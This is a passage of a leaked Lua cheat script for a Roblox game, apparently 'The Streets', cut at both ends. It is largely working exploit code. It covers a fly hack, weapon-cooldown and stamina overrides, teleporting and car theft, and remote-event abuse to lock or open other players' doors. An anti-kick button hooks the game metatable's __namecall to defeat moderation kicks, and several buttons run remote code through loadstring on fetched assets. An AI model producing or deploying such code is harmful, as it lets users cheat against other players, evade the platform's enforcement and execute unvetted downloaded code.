Weld.Part0 = Core Weld.Part1 = localplayer.Character.Torso Weld.C0 = CFrame.new(0, 0, 0) end) workspace:WaitForChild("Core") local torso = workspace.Core flying = true local speed=0 local keys={a=false,d=false,w=false,s=false} local e1 local e2 local function start() local pos = Instance.new("BodyPosition",torso) local gyro = Instance.new("BodyGyro",torso) pos.Name="EPIXPOS" pos.maxForce = Vector3.new(math.huge, math.huge, math.huge) pos.position = torso.Position gyro.maxTorque = Vector3.new(9e9, 9e9, 9e9) gyro.cframe = torso.CFrame repeat wait() localplayer.Character.Humanoid.PlatformStand=true local new=gyro.cframe - gyro.cframe.p + pos.position if not keys.w and not keys.s and not keys.a and not keys.d then speed=1 end if keys.w then new = new + workspace.CurrentCamera.CoordinateFrame.lookVector * speed speed=speed+0.01 end if keys.s then new = new - workspace.CurrentCamera.CoordinateFrame.lookVector * speed speed=speed+0.01 end if keys.d then new = new * CFrame.new(speed,0,0) speed=speed+0.01 end if keys.a then new = new * CFrame.new(-speed,0,0) speed=speed+0.01 end if speed>5 then speed=5 end pos.position=new.p if keys.w then gyro.cframe = workspace.CurrentCamera.CoordinateFrame*CFrame.Angles(-math.rad(speed*15),0,0) elseif keys.s then gyro.cframe = workspace.CurrentCamera.CoordinateFrame*CFrame.Angles(math.rad(speed*15),0,0) else gyro.cframe = workspace.CurrentCamera.CoordinateFrame end until flying == false if gyro then gyro:Destroy() end if pos then pos:Destroy() end flying=false localplayer.Character.Humanoid.PlatformStand=false speed=0 end e1=mouse.KeyDown:connect(function(key) if not torso or not torso.Parent then flying=false e1:disconnect() e2:disconnect() return end if key=="w" then keys.w=true elseif key=="s" then keys.s=true elseif key=="a" then keys.a=true elseif key=="d" then keys.d=true elseif key=="f" then if flying==true then flying=false else flying=true start() end end end) e2=mouse.KeyUp:connect(function(key) if key=="w" then keys.w=false elseif key=="s" then keys.s=false elseif key=="a" then keys.a=false elseif key=="d" then keys.d=false end end) start() end end) AddCmd("unfly", "unfly", {}, function(Args) if Speaker == Plr.Name then if workspace:FindFirstChild("Core") then workspace.Core:Destroy() end flying = false end end) local Pos = 0 local Pos2 = 0 for i,v in pairs(Commands) do local t = Instance.new("TextLabel", Scroll) t.BackgroundColor3 = Color3.fromRGB(45, 45, 45) t.BorderColor3 = Color3.fromRGB(45, 45, 45) t.Position = UDim2.new(0, 0, Pos, 0) t.Size = UDim2.new(1, 0, 0.05, 0) t.Font = Enum.Font.SourceSansLight t.Text = "[" .. i .. "] " .. v.Name t.TextColor3 = Color3.fromRGB(255, 255, 255) t.TextScaled = true t.TextStrokeColor3 = Color3.fromRGB(0, 0, 0) t.TextStrokeTransparency = 1 t.TextXAlignment = Enum.TextXAlignment.Left Scroll.CanvasSize = Scroll.CanvasSize + UDim2.new(0, 0, Pos2, 0) Pos = Pos + 0.06 Pos2 = Pos2 + 0.001 wait() end -- // Keystuff Context:BindAction("Toggle", ToggleGUI, true, Enum.KeyCode.Equals) Context:BindAction("Blink", Blink, true, Enum.KeyCode.Q) Context:BindAction("sFly", sFly, true, Enum.KeyCode.R) Context:BindAction("Food", Food, true, Enum.KeyCode.O) OP() Plr.CharacterAdded:connect(function() wait(0.5) OP() end) -- // End wait() Notify("The Streets GUI", "Press '+' key to toggle GUI.", nil, 10) print("LEAKED BY MR STEAL YO BORK @ BORK GANG") local Gui2 = Instance.new('ScreenGui', game.CoreGui) Gui2.Name = "REKT BY BORK GANG LOLOLOL" local version = "big borks" local function createframe(bkgc3,bkgtrans,borderc3, bordersize, name, parent, pos, rot, size, visible, zindex) local newframe = Instance.new("Frame") newframe.BackgroundColor3 = bkgc3 newframe.BackgroundTransparency = bkgtrans newframe.BorderColor3 = borderc3 newframe.BorderSizePixel = bordersize newframe.Name = name newframe.Parent = parent newframe.Position = pos newframe.Rotation = rot newframe.Size = size newframe.Visible = visible newframe.ZIndex = zindex return newframe end local function createlabel(bkgc3,bkgtrans,borderc3, bordersize, name, parent, pos, rot, size, visible, zindex, font, fontsize, text, textc3, textscaled, textstrokec3, textstroketrans, texttrans, textwrapped, xalign, yalign) local newlabel = Instance.new("TextLabel") newlabel.BackgroundColor3 = bkgc3 newlabel.BackgroundTransparency = bkgtrans newlabel.BorderColor3 = borderc3 newlabel.BorderSizePixel = bordersize newlabel.Name = name newlabel.Parent = parent newlabel.Position = pos newlabel.Rotation = rot newlabel.Size = size newlabel.Visible = visible newlabel.ZIndex = zindex newlabel.Font = font newlabel.FontSize = fontsize newlabel.Text = text newlabel.TextColor3 = textc3 newlabel.TextScaled = textscaled newlabel.TextStrokeColor3 = textstrokec3 newlabel.TextStrokeTransparency = textstroketrans newlabel.TextTransparency = texttrans newlabel.TextWrapped = textwrapped newlabel.TextXAlignment = xalign newlabel.TextYAlignment = yalign return newlabel end local function createbutton(autocolor, bkgc3,bkgtrans,borderc3, bordersize, name, parent, pos, rot, size, visible, zindex, font, fontsize, text, textc3, textscaled, textstrokec3, textstroketrans, texttrans, textwrapped, xalign, yalign) local newbutton = Instance.new("TextButton") newbutton.AutoButtonColor = autocolor newbutton.BackgroundColor3 = bkgc3 newbutton.BackgroundTransparency = bkgtrans newbutton.BorderColor3 = borderc3 newbutton.BorderSizePixel = bordersize newbutton.Name = name newbutton.Parent = parent newbutton.Position = pos newbutton.Rotation = rot newbutton.Size = size newbutton.Visible = visible newbutton.ZIndex = zindex newbutton.Font = font newbutton.FontSize = fontsize newbutton.Text = text newbutton.TextColor3 = textc3 newbutton.TextScaled = textscaled newbutton.TextStrokeColor3 = textstrokec3 newbutton.TextStrokeTransparency = textstroketrans newbutton.TextTransparency = texttrans newbutton.TextWrapped = textwrapped newbutton.TextXAlignment = xalign newbutton.TextYAlignment = yalign return newbutton end local function createtextbox(bkgc3,bkgtrans,borderc3, bordersize, clrtext, multiline, name, parent, pos, rot, size, visible, zindex, font, fontsize, text, textc3, textscaled, textstrokec3, textstroketrans, texttrans, textwrapped, xalign, yalign) local newbox = Instance.new("TextBox") newbox.BackgroundColor3 = bkgc3 newbox.BackgroundTransparency = bkgtrans newbox.BorderColor3 = borderc3 newbox.BorderSizePixel = bordersize newbox.ClearTextOnFocus = clrtext newbox.MultiLine = multiline newbox.Name = name newbox.Parent = parent newbox.Position = pos newbox.Rotation = rot newbox.Size = size newbox.Visible = visible newbox.ZIndex = zindex newbox.Font = font newbox.FontSize = fontsize newbox.Text = text newbox.TextColor3 = textc3 newbox.TextScaled = textscaled newbox.TextStrokeColor3 = textstrokec3 newbox.TextStrokeTransparency = textstroketrans newbox.TextTransparency = texttrans newbox.TextWrapped = textwrapped newbox.TextXAlignment = xalign newbox.TextYAlignment = yalign return newbox end local function createimagelabel(bkgc3,bkgtrans,borderc3, bordersize, name, parent, pos, rot, size, visible, zindex, image, imagetrans) local newimage = Instance.new("ImageLabel") newimage.BackgroundColor3 = bkgc3 newimage.BackgroundTransparency = bkgtrans newimage.BorderColor3 = borderc3 newimage.BorderSizePixel = bordersize newimage.Name = name newimage.Parent = parent newimage.Position = pos newimage.Rotation = rot newimage.Size = size newimage.Visible = visible newimage.ZIndex = zindex newimage.Image = "rbxassetid://"..image newimage.ImageTransparency = imagetrans return newimage end local IntroFrames = createframe(Color3.new(43/255, 43/255, 43/255),0,Color3.new(27/255,42/255,53/255),0,"IntroFrames",Gui2,UDim2.new(0,-330,0,0),0,UDim2.new(0,300,1,0),true,1) createframe(Color3.new(43/255, 43/255, 43/255),0,Color3.new(0,0,0),0,"bar",IntroFrames,UDim2.new(1,0,0,0),0,UDim2.new(0,30,0,90),true,1) createimagelabel(Color3.new(1,1,1),1,Color3.new(0,0,0),0,"Slant",IntroFrames,UDim2.new(1,0,0,90),90,UDim2.new(0,30,0,30),true,1,474172996,0) createlabel(Color3.new(1,1,1),1,Color3.new(0,0,0),0,"Creator",IntroFrames,UDim2.new(0,80,1,-40),0,UDim2.new(0,140,0,30),true,1,Enum.Font.Code,Enum.FontSize.Size14,"MR STEAL YO BORK @ BORK GANG",Color3.new(0/255, 174/255, 255/255), false,Color3.new(0,0,0),1,0,true,Enum.TextXAlignment.Center,Enum.TextYAlignment.Center) createlabel(Color3.new(1,1,1),1,Color3.new(0,0,0),0,"CreatorLabel",IntroFrames,UDim2.new(0,80,1,-70),0,UDim2.new(0,140,0,30),true,1,Enum.Font.Code,Enum.FontSize.Size18,"LEAKED BY:",Color3.new(0/255, 174/255, 255/255), false,Color3.new(0,0,0),1,0,true,Enum.TextXAlignment.Center,Enum.TextYAlignment.Center) createlabel(Color3.new(1,1,1),1,Color3.new(0,0,0),0,"Desc",IntroFrames,UDim2.new(0,0,0,120),0,UDim2.new(1,0,0,90),true,1,Enum.Font.SourceSansLight,Enum.FontSize.Size14,"fuck the streets",Color3.new(0, 216, 18), true,Color3.new(0,0,0),1,0,true,Enum.TextXAlignment.Center,Enum.TextYAlignment.Center) createlabel(Color3.new(1,1,1),1,Color3.new(0,0,0),0,"SubTitle",IntroFrames,UDim2.new(0.5,-150,0,70),0,UDim2.new(0,300,0,40),true,1,Enum.Font.SourceSansBold,Enum.FontSize.Size32,"",Color3.new(27/255,42/255,53/255), false,Color3.new(0,0,0),1,0,true,Enum.TextXAlignment.Center,Enum.TextYAlignment.Center) createlabel(Color3.new(1,1,1),1,Color3.new(0,0,0),0,"Title",IntroFrames,UDim2.new(0.5,-105,0,20),0,UDim2.new(0,210,0,60),true,1,Enum.Font.SourceSansBold,Enum.FontSize.Size32,"THE STREETS SCRIPT LEAK",Color3.new(0/255, 174/255, 255/255), false,Color3.new(0,0,0),1,0,true,Enum.TextXAlignment.Center,Enum.TextYAlignment.Center) IntroFrames:TweenPosition(UDim2.new(0,0,0,0),Enum.EasingDirection.Out,Enum.EasingStyle.Quart,0.5,true) wait(3) IntroFrames:TweenPosition(UDim2.new(0,-330,0,0),Enum.EasingDirection.In,Enum.EasingStyle.Quart,0.5,true) wait(3) Gui2:Destroy() repeat wait() until game.Players.LocalPlayer ~= nil local player = game.Players.LocalPlayer local mouse = player:GetMouse() local context = game:GetService("ContextActionService") local teleported = false local cartp = false local door = false local sound = false local decal = false local spray = false player.CharacterAdded:connect(function() Speed() end) function Gui() if game.CoreGui:FindFirstChild("Music") == nil then local s = Instance.new("ScreenGui", game.CoreGui) s.Name = "Music" local b = Instance.new("TextBox", s) b.Size = UDim2.new(0.07, 0, 0.03, 0) b.Position = UDim2.new(0.905, 0, 0.96, 0) b.BackgroundColor3 = Color3.new(0, 0, 0) b.BackgroundTransparency = 0.5 b.Text = "Enter ID Here" b.TextColor3 = Color3.new(1, 1, 1) b.Font = "Code" b.FontSize = "Size14" b.BorderSizePixel = 0 local t = Instance.new("TextButton", s) t.Size = UDim2.new(0.02, 0, 0.03, 0) t.Position = UDim2.new(0.975, 0, 0.96, 0) t.BackgroundColor3 = Color3.new(0, 0, 0) t.BackgroundTransparency = 0.5 t.Text = "Play" t.TextColor3 = Color3.new(1, 1, 1) t.Font = "Code" t.FontSize = "Size14" t.BorderSizePixel = 0 t.MouseButton1Click:connect(function() if player.Character:FindFirstChild("BoomBox") ~= nil then player.Character.BoomBox.Remote:FireServer("PlaySong", b.Text) else b.Text = "Equip Radio" end end) local b1LOLEMOJI = Instance.new("TextLabel", s) b1LOLEMOJI.Size = UDim2.new(0.07, 0, 0.03, 0) b1LOLEMOJI.Position = UDim2.new(0.105, 0, 0.8975, 0) b1LOLEMOJI.BackgroundColor3 = Color3.new(0, 0, 0) b1LOLEMOJI.BackgroundTransparency = 1 b1LOLEMOJI.Text = "rekt by mr steal yo bork @ bork gang" b1LOLEMOJI.TextColor3 = Color3.new(255, 159, 5) b1LOLEMOJI.Font = "Code" b1LOLEMOJI.FontSize = "Size18" b1LOLEMOJI.BorderSizePixel = 0 b2 = Instance.new("TextBox", s) b2.Size = UDim2.new(0.07, 0, 0.03, 0) b2.Position = UDim2.new(0.905, 0, 0.925, 0) b2.BackgroundColor3 = Color3.new(0, 0, 0) b2.BackgroundTransparency = 0.5 b2.Text = "Enter ID Here" b2.TextColor3 = Color3.new(1, 1, 1) b2.Font = "Code" b2.FontSize = "Size14" b2.BorderSizePixel = 0 local b3 = Instance.new("Frame", s) b3.Size = b2.Size b3.Position = b2.Position b3.BackgroundTransparency = 1 local preview = Instance.new("ImageLabel", s) preview.Size = UDim2.new(0.06, 0, 0.11, 0) preview.Position = UDim2.new(0.47, 0, 0.45, 0) preview.BackgroundTransparency = 0.5 preview.BackgroundColor3 = Color3.new(0, 0, 0) preview.BorderSizePixel = 0 preview.Visible = false b2.Changed:connect(function() if b2.Text ~= nil and b2.Text:match("%d+") then preview.Image = "http://www.roblox.com/asset/?id="..b2.Text:match("%d+") - 1 else preview.Image = nil end end) b2.MouseEnter:connect(function() preview.Visible = true end) b2.MouseMoved:connect(function() preview.Position = UDim2.new(0, mouse.X - 120, 0, mouse.Y - 115) end) b2.MouseLeave:connect(function() preview.Visible = false end) b3.MouseLeave:connect(function() preview.Visible = false end) t2 = Instance.new("TextBox", s) t2.Size = UDim2.new(0.02, 0, 0.03, 0) t2.Position = UDim2.new(0.975, 0, 0.925, 0) t2.BackgroundColor3 = Color3.new(0, 0, 0) t2.BackgroundTransparency = 0.5 t2.Text = "Size" t2.TextColor3 = Color3.new(1, 1, 1) t2.Font = "Code" t2.FontSize = "Size14" t2.BorderSizePixel = 0 local d = Instance.new("TextButton", s) d.Size = UDim2.new(0.0425, 0, 0.02, 0) d.Position = UDim2.new(0.905, 0, 0.8975, 0) d.Text = "Steal Decal" d.Font = "Code" d.FontSize = "Size14" d.BackgroundColor3 = Color3.new(0, 0, 0) d.TextColor3 = Color3.new(1, 1, 1) d.BackgroundTransparency = 0.5 d.BorderColor3 = Color3.new(0.7, 0, 0) d.MouseButton1Click:connect(function() if door == false and sound == false and decal == false then decal = true context:BindAction("Decal", Decal, false, Enum.UserInputType.MouseButton1) d.BorderColor3 = Color3.new(0, 0.7, 0) else decal = false context:UnbindAction("Decal") d.BorderColor3 = Color3.new(0.7, 0, 0) end end) local so = Instance.new("TextButton", s) so.Size = UDim2.new(0.0425, 0, 0.02, 0) so.Position = UDim2.new(0.952, 0, 0.8975, 0) so.Text = "Steal Sound" so.Font = "Code" so.FontSize = "Size14" so.BackgroundColor3 = Color3.new(0, 0, 0) so.TextColor3 = Color3.new(1, 1, 1) so.BackgroundTransparency = 0.5 so.BorderColor3 = Color3.new(0.7, 0, 0) so.MouseButton1Click:connect(function() if door == false and sound == false and decal == false then sound = true context:BindAction("Sound", Sound, false, Enum.UserInputType.MouseButton1) so.BorderColor3 = Color3.new(0, 0.7, 0) else sound = false context:UnbindAction("Sound") so.BorderColor3 = Color3.new(0.7, 0, 0) end end) local d2 = Instance.new("TextButton", s) d2.Size = UDim2.new(0.0425, 0, 0.02, 0) d2.Position = UDim2.new(0.952, 0, 0.87, 0) d2.Text = "Open Door" d2.Font = "Code" d2.FontSize = "Size14" d2.BackgroundColor3 = Color3.new(0, 0, 0) d2.TextColor3 = Color3.new(1, 1, 1) d2.BackgroundTransparency = 0.5 d2.BorderColor3 = Color3.new(0.7, 0, 0) d2.MouseButton1Click:connect(function() if door == false and sound == false and decal == false then door = true context:BindAction("Open", Open, false, Enum.UserInputType.MouseButton1) d2.BorderColor3 = Color3.new(0, 0.7, 0) else door = false context:UnbindAction("Open") d2.BorderColor3 = Color3.new(0.7, 0, 0) end end) end end function Speed() player.Backpack:WaitForChild("Punch").Info.Cooldown.Value = 0.01 player.Backpack.Punch.Info.AnimSpeed.Value = 5 player.Backpack:WaitForChild("Knife").Info.Cooldown.Value = 0.01 player.Backpack.Knife.Info.AnimSpeed.Value = 5 if game:GetService("MarketplaceService"):PlayerOwnsAsset(player, 503266657) then player.Backpack:WaitForChild("Pipe").Info.Cooldown.Value = 0.01 player.Backpack.Pipe.Info.AnimSpeed.Value = 5 end player.Backpack.ChildAdded:connect(function(child) if child.Name == "Bat" or child.Name == "Bottle" or child.Name == "Machete" or child.Name == "Stop Sign" or child.Name == "Golf Club" then child:WaitForChild("Info").Cooldown.Value = 0.01 child.Info.AnimSpeed.Value = 5 end end) if game:GetService("MarketplaceService"):PlayerOwnsAsset(player, 529140430) then player.Backpack:FindFirstChild("Spray").Equipped:connect(function() context:BindAction("Spray", Spray, false, Enum.UserInputType.MouseButton1) end) player.Backpack:FindFirstChild("Spray").Unequipped:connect(function() context:UnbindAction("Spray") end) end player.Backpack.ServerTraits.Stam.Changed:connect(function() player.Backpack.ServerTraits.Stam.Value = 100 end) --if game:GetService("MarketplaceService"):PlayerOwnsAsset(player, 469767880) then Gui() player.PlayerGui.ChildAdded:connect(function(child) if child.Name == "ChooseSongGui" or child.Name == "SprayGui" then child:Destroy() end end) --end player.Character.Humanoid.Seated:connect(function(sitting, seat) if sitting and seat.Name == "Drive" then player.PlayerGui.LocalScript.Disabled = true elseif sitting == false and player.PlayerGui.LocalScript.Disabled == true then player.PlayerGui.LocalScript.Disabled = false end end) end function Items(actionName, inputState, inputObject) for Num, Obj in pairs(game.Workspace:GetChildren()) do if Obj.Name == "RandomSpawner" then Obj.CanCollide = false wait() Obj.CFrame = player.Character.Torso.CFrame end end end function Friends(actionName, inputState, inputObject) for Num, Obj in pairs(game.Players:GetPlayers()) do if Obj:IsFriendsWith(player.UserId) and not teleported and Obj ~= player then player.Character:MoveTo(Obj.Character.Torso.Position) teleported = true end teleported = false end end function Car(actionName, inputState, inputObject) for Num, Obj in pairs(game.Workspace:GetChildren()) do if Obj.Name == "Car" and Obj:FindFirstChild("Drive").Occupant == nil and cartp == false then cartp = true Obj:MoveTo(player.Character.Torso.Position + player.Character.Torso.CFrame.lookVector * 15) Obj:MakeJoints() end end cartp = false end function Door(actionName, inputState, inputObject) if inputState == Enum.UserInputState.Begin then context:BindAction("Lock", Lock, false, Enum.UserInputType.MouseButton1) else context:UnbindAction("Lock") end end function Lock(actionName, inputState, inputObject) if inputState == Enum.UserInputState.End then if mouse.Target.Parent.Name == "Door" and mouse.Target.Name ~= "Lock" and mouse.Target.Name ~= "Click" then local door = mouse.Target.Parent door:FindFirstChild("Lock").ClickDetector.RemoteEvent:FireServer() elseif mouse.Target.Parent.Parent.Name == "Door" then local door = mouse.Target.Parent.Parent door:FindFirstChild("Lock").ClickDetector.RemoteEvent:FireServer() end end end function Open(actionName, inputState, inputObject) if inputState == Enum.UserInputState.End then if mouse.Target.Parent.Name == "Door" and mouse.Target.Name ~= "Lock" and mouse.Target.Name ~= "Click" then local door = mouse.Target.Parent door:FindFirstChild("Click").ClickDetector.RemoteEvent:FireServer() elseif mouse.Target.Parent.Parent.Name == "Door" then local door = mouse.Target.Parent.Parent door:FindFirstChild("Click").ClickDetector.RemoteEvent:FireServer() end end end function Steal(actionName, inputState, inputObject) if inputState == Enum.UserInputState.Begin then context:BindAction("Sound", Sound, false, Enum.UserInputType.MouseButton1) context:BindAction("Decal", Decal, false, Enum.UserInputType.MouseButton2) else context:UnbindAction("Sound") context:UnbindAction("Decal") end end function Sound(actionName, inputState, inputObject) if inputState == Enum.UserInputState.End then if mouse.Target.Parent:FindFirstChild("BoomBox") and mouse.Target.Parent.BoomBox.Handle.Sound.SoundId ~= nil then local sound = mouse.Target.Parent.BoomBox print("Sound: "..sound.Handle.Sound.SoundId:match("%d+")) elseif mouse.Target.Parent.Parent:FindFirstChild("BoomBox") and mouse.Target.Parent.Parent.BoomBox.Handle.Sound.SoundId ~= nil then local sound = mouse.Target.Parent.Parent.BoomBox print("Sound: "..sound.Handle.Sound.SoundId:match("%d+")) end end end function Decal(actionName, inputState, inputObject) if inputState == Enum.UserInputState.End then if mouse.Target.Name:find("Spray") and mouse.Target:FindFirstChild("Decal") ~= nil then print("Decal: "..mouse.Target.Decal.Texture:match("%d+")) end end end function Spray(actionName, inputState, inputObject) if inputState == Enum.UserInputState.End then if mouse.Target ~= nil and player.Character:FindFirstChild("Spray") ~= nil then player.Character.Spray.SprayIt:FireServer("http://www.roblox.com/asset/?id=", b2.Text, mouse.TargetSurface, t2.Text, mouse.Target, mouse.Hit) end end end for Num, Obj in pairs(game.Workspace:GetChildren()) do if Obj.Name == "Car" and Obj:FindFirstChild("Drive") ~= nil then Obj.Drive.MaxSpeed = 500 Obj.Drive.Torque = 60 end end context:BindAction("Items", Items, false, Enum.KeyCode.P) context:BindAction("Car", Car, false, Enum.KeyCode.K) context:BindAction("Door", Door, false, Enum.KeyCode.LeftControl) Speed() Gui() game.Players.LocalPlayer.CameraMaxZoomDistance = 400 end) anti.Name = "anti" anti.Parent = ScriptFrame anti.BackgroundColor3 = Color3.new(0.137255, 0.137255, 0.137255) anti.BorderColor3 = Color3.new(0.133333, 0.133333, 0.133333) anti.BorderSizePixel = 4 anti.Position = UDim2.new(0.68933332, 0, 0.512110829, 0) anti.Size = UDim2.new(0, 200, 0, 50) anti.Font = Enum.Font.SourceSansItalic anti.Text = "Anti-kick" anti.TextColor3 = Color3.new(0.223529, 0.219608, 0.317647) anti.TextSize = 30 anti.MouseButton1Down:connect(function() local getrawmetatable = getrawmetatable or debug.getmetatable local make_writeable = make_writeable or setreadonly or changereadonly or change_writeable make_writeable(getrawmetatable(game), false) local backup = getrawmetatable(game).__namecall getrawmetatable(game).__namecall = function(u, ...) local m = ({...})[select('#', ...)] local packed = {...} local a = {} for i = 1, #packed - 1 do a[i] = packed[i] end if m == 'Kick' then warn('Kick attempt at ' .. os.time() .. ' (' .. tostring(unpack(a)) .. ')') return true end return backup(u, ...) end end) xray.Name = "xray" xray.Parent = ScriptFrame xray.BackgroundColor3 = Color3.new(0.137255, 0.137255, 0.137255) xray.BorderColor3 = Color3.new(0.133333, 0.133333, 0.133333) xray.BorderSizePixel = 4 xray.Position = UDim2.new(0.68933332, 0, 0.218762651, 0) xray.Size = UDim2.new(0, 200, 0, 50) xray.Font = Enum.Font.SourceSansItalic xray.Text = "PF X-ray" xray.TextColor3 = Color3.new(0.223529, 0.219608, 0.317647) xray.TextSize = 30 xray.MouseButton1Down:connect(function() local Move = game.Workspace.Map local ReplicatedStorage = game:GetService("ReplicatedStorage") local Players = game:GetService("Players") local mouse = Players.LocalPlayer:GetMouse() local a = false mouse.KeyDown:Connect(function(key) if key == "e" then if a == false then Move.Parent = ReplicatedStorage Players.LocalPlayer.Character.HumanoidRootPart.Anchored = true a = true elseif a == true then Move.Parent = game.Workspace Players.LocalPlayer.Character.HumanoidRootPart.Anchored = false a = false end end end) end) xoro.Name = "xoro" xoro.Parent = ScriptFrame xoro.BackgroundColor3 = Color3.new(0.137255, 0.137255, 0.137255) xoro.BorderColor3 = Color3.new(0.133333, 0.133333, 0.133333) xoro.BorderSizePixel = 4 xoro.Position = UDim2.new(0.350666672, 0, 0.218762636, 0) xoro.Size = UDim2.new(0, 200, 0, 50) xoro.Font = Enum.Font.SourceSansItalic xoro.Text = "Xoro's GUI (H)" xoro.TextColor3 = Color3.new(0.223529, 0.219608, 0.317647) xoro.TextSize = 30 xoro.MouseButton1Down:connect(function() -- Objects local ScreenGui = Instance.new("ScreenGui") local Frame = Instance.new("Frame") local ImageLabel = Instance.new("ImageLabel") local Pipe = Instance.new("TextButton") local CTP = Instance.new("TextButton") local Anis = Instance.new("TextButton") local FeGui = Instance.new("TextButton") local Admin = Instance.new("TextButton") local Name = Instance.new("TextButton") local Fight = Instance.new("TextButton") local JFlip = Instance.new("TextButton") local Spit = Instance.new("TextButton") local Punch = Instance.new("TextButton") local CLogs = Instance.new("TextButton") local Machete = Instance.new("TextButton") local TextLabel = Instance.new("TextLabel") -- Properties ScreenGui.Parent = game.CoreGui Frame.Parent = ScreenGui Frame.Active = true Frame.BackgroundColor3 = Color3.new(1, 1, 1) Frame.BorderColor3 = Color3.new(1, 1, 1) Frame.BorderSizePixel = 3 Frame.Draggable = true Frame.Position = UDim2.new(0, 0, 0, 92) Frame.Selectable = true Frame.Size = UDim2.new(0, 641, 0, 505) Frame.Visible = false ImageLabel.Parent = Frame ImageLabel.Active = true ImageLabel.BackgroundColor3 = Color3.new(1, 1, 1) ImageLabel.Size = UDim2.new(0, 641, 0, 505) ImageLabel.Image = "rbxassetid://587530945" Pipe.Name = "Pipe" Pipe.Parent = Frame Pipe.BackgroundColor3 = Color3.new(1, 1, 1) Pipe.BackgroundTransparency = 0.60000002384186 Pipe.Position = UDim2.new(0, 38, 0, 151) Pipe.Size = UDim2.new(0, 113, 0, 50) Pipe.Font = Enum.Font.Arial Pipe.FontSize = Enum.FontSize.Size28 Pipe.Text = "Pipe Auto" Pipe.TextSize = 25 Pipe.TextWrapped = true Pipe.MouseButton1Click:connect (function() local userinput = game:GetService("UserInputService") userinput.InputBegan:connect(function(input) if userinput:GetFocusedTextBox() then return end if input.KeyCode == Enum.KeyCode.R then repeat wait(0.001) local plr = game.Players.LocalPlayer plr.Backpack.ServerTraits.Touch:FireServer(plr.Backpack.Pipe, plr.Character.LeftHand,true) plr.Backpack.ServerTraits.Touch:FireServer(plr.Backpack.Pipe, plr.Character.LeftHand,true) plr.Backpack.ServerTraits.Touch:FireServer(plr.Backpack.Pipe, plr.Character.LeftHand,true) until input.KeyCode == Enum.KeyCode.F end end) end) CTP.Name = "CTP" CTP.Parent = Frame CTP.BackgroundColor3 = Color3.new(1, 1, 1) CTP.BackgroundTransparency = 0.60000002384186 CTP.Position = UDim2.new(0, 38, 0, 251) CTP.Size = UDim2.new(0, 113, 0, 50) CTP.Font = Enum.Font.Arial CTP.FontSize = Enum.FontSize.Size28 CTP.Text = "Click Tp" CTP.TextSize = 25 CTP.TextWrapped = true CTP.MouseButton1Click:connect (function() plr = game.Players.LocalPlayer hum = plr.Character.HumanoidRootPart mouse = plr:GetMouse() --By Yn-- mouse.KeyDown:connect(function(key) if key == "t" then if mouse.Target then hum.CFrame = CFrame.new(mouse.Hit.x, mouse.Hit.y + 5, mouse.Hit.z) end --By Yn-- end end) end) Anis.Name = "Anis" Anis.Parent = Frame Anis.BackgroundColor3 = Color3.new(1, 1, 1) Anis.BackgroundTransparency = 0.60000002384186 Anis.Position = UDim2.new(0, 38, 0, 51) Anis.Size = UDim2.new(0, 113, 0, 50) Anis.Font = Enum.Font.Arial Anis.FontSize = Enum.FontSize.Size28 Anis.Text = "Animations" Anis.TextSize = 25 Anis.TextWrapped = true Anis.MouseButton1Click:connect (function() loadstring(game:GetObjects("rbxassetid://1295329334")[1].Source)() end) FeGui.Name = "FeGui" FeGui.Parent = Frame FeGui.BackgroundColor3 = Color3.new(1, 1, 1) FeGui.BackgroundTransparency = 0.60000002384186 FeGui.Position = UDim2.new(0, 238, 0, 51) FeGui.Size = UDim2.new(0, 113, 0, 50) FeGui.Font = Enum.Font.Arial FeGui.FontSize = Enum.FontSize.Size28 FeGui.Text = "Gui" FeGui.TextSize = 25 FeGui.TextWrapped = true FeGui.MouseButton1Click:connect (function() loadstring(game:GetObjects("rbxassetid://1295327106")[1].Source)() end) Admin.Name = "Admin" Admin.Parent = Frame Admin.BackgroundColor3 = Color3.new(1, 1, 1) Admin.BackgroundTransparency = 0.60000002384186 Admin.Position = UDim2.new(0, 238, 0, 251) Admin.Size = UDim2.new(0, 113, 0, 50) Admin.Font = Enum.Font.Arial Admin.FontSize = Enum.FontSize.Size28 Admin.Text = "Admin" Admin.TextSize = 25 Admin.TextWrapped = true Admin.MouseButton1Click:connect (function() loadstring(game:GetObjects("rbxassetid://1295323599")[1].Source)() end) Name.Name = "Name" Name.Parent = Frame Name.BackgroundColor3 = Color3.new(1, 1, 1) Name.BackgroundTransparency = 0.60000002384186 Name.Position = UDim2.new(0, 238, 0, 151) Name.Size = UDim2.new(0, 113, 0, 50) Name.Font = Enum.Font.Arial Name.FontSize = Enum.FontSize.Size28 Name.Text = "Hide Name" Name.TextSize = 25 Name.TextWrapped = true Name.MouseButton1Click:connect (function() while true do game.Players.LocalPlayer.Backpack.ServerTraits.Crouch:FireServer({true}) wait() end end) Fight.Name = "Fight" Fight.Parent = Frame Fight.BackgroundColor3 = Color3.new(1, 1, 1) Fight.BackgroundTransparency = 0.60000002384186 Fight.Position = UDim2.new(0, 438, 0, 51) Fight.Size = UDim2.new(0, 113, 0, 50) Fight.Font = Enum.Font.Arial Fight.FontSize = Enum.FontSize.Size28 Fight.Text = "Fight Pack" Fight.TextSize = 25 Fight.TextWrapped = true Fight.MouseButton1Click:connect (function() loadstring(game:GetObjects("rbxassetid://1295318827")[1].Source)() end) JFlip.Name = "JFlip" JFlip.Parent = Frame JFlip.BackgroundColor3 = Color3.new(1, 1, 1) JFlip.BackgroundTransparency = 0.60000002384186 JFlip.Position = UDim2.new(0, 442, 0, 151) JFlip.Size = UDim2.new(0, 113, 0, 50) JFlip.Font = Enum.Font.Arial JFlip.FontSize = Enum.FontSize.Size28 JFlip.Text = "Jump Flip" JFlip.TextSize = 25 JFlip.TextWrapped = true JFlip.MouseButton1Click:connect (function() -- Created By Qerzty / Yurza -- for _,v in pairs(game.Players.LocalPlayer.Character.Animate.jump:GetChildren()) do v.AnimationId = 'rbxassetid://229782914' end end) Spit.Name = "Spit" Spit.Parent = Frame Spit.BackgroundColor3 = Color3.new(1, 1, 1) Spit.BackgroundTransparency = 0.60000002384186 Spit.Position = UDim2.new(0, 438, 0, 251) Spit.Size = UDim2.new(0, 113, 0, 50) Spit.Font = Enum.Font.Arial Spit.FontSize = Enum.FontSize.Size28 Spit.Text = "Spit" Spit.TextSize = 25 Spit.TextWrapped = true Spit.MouseButton1Click:connect (function() loadstring(game:GetObjects("rbxassetid://1280225341")[1].Source)() end) Punch.Name = "Punch" Punch.Parent = Frame Punch.BackgroundColor3 = Color3.new(1, 1, 1) Punch.BackgroundTransparency = 0.60000002384186 Punch.Position = UDim2.new(0, 38, 0, 351) Punch.Size = UDim2.new(0, 113, 0, 50) Punch.Font = Enum.Font.SourceSans 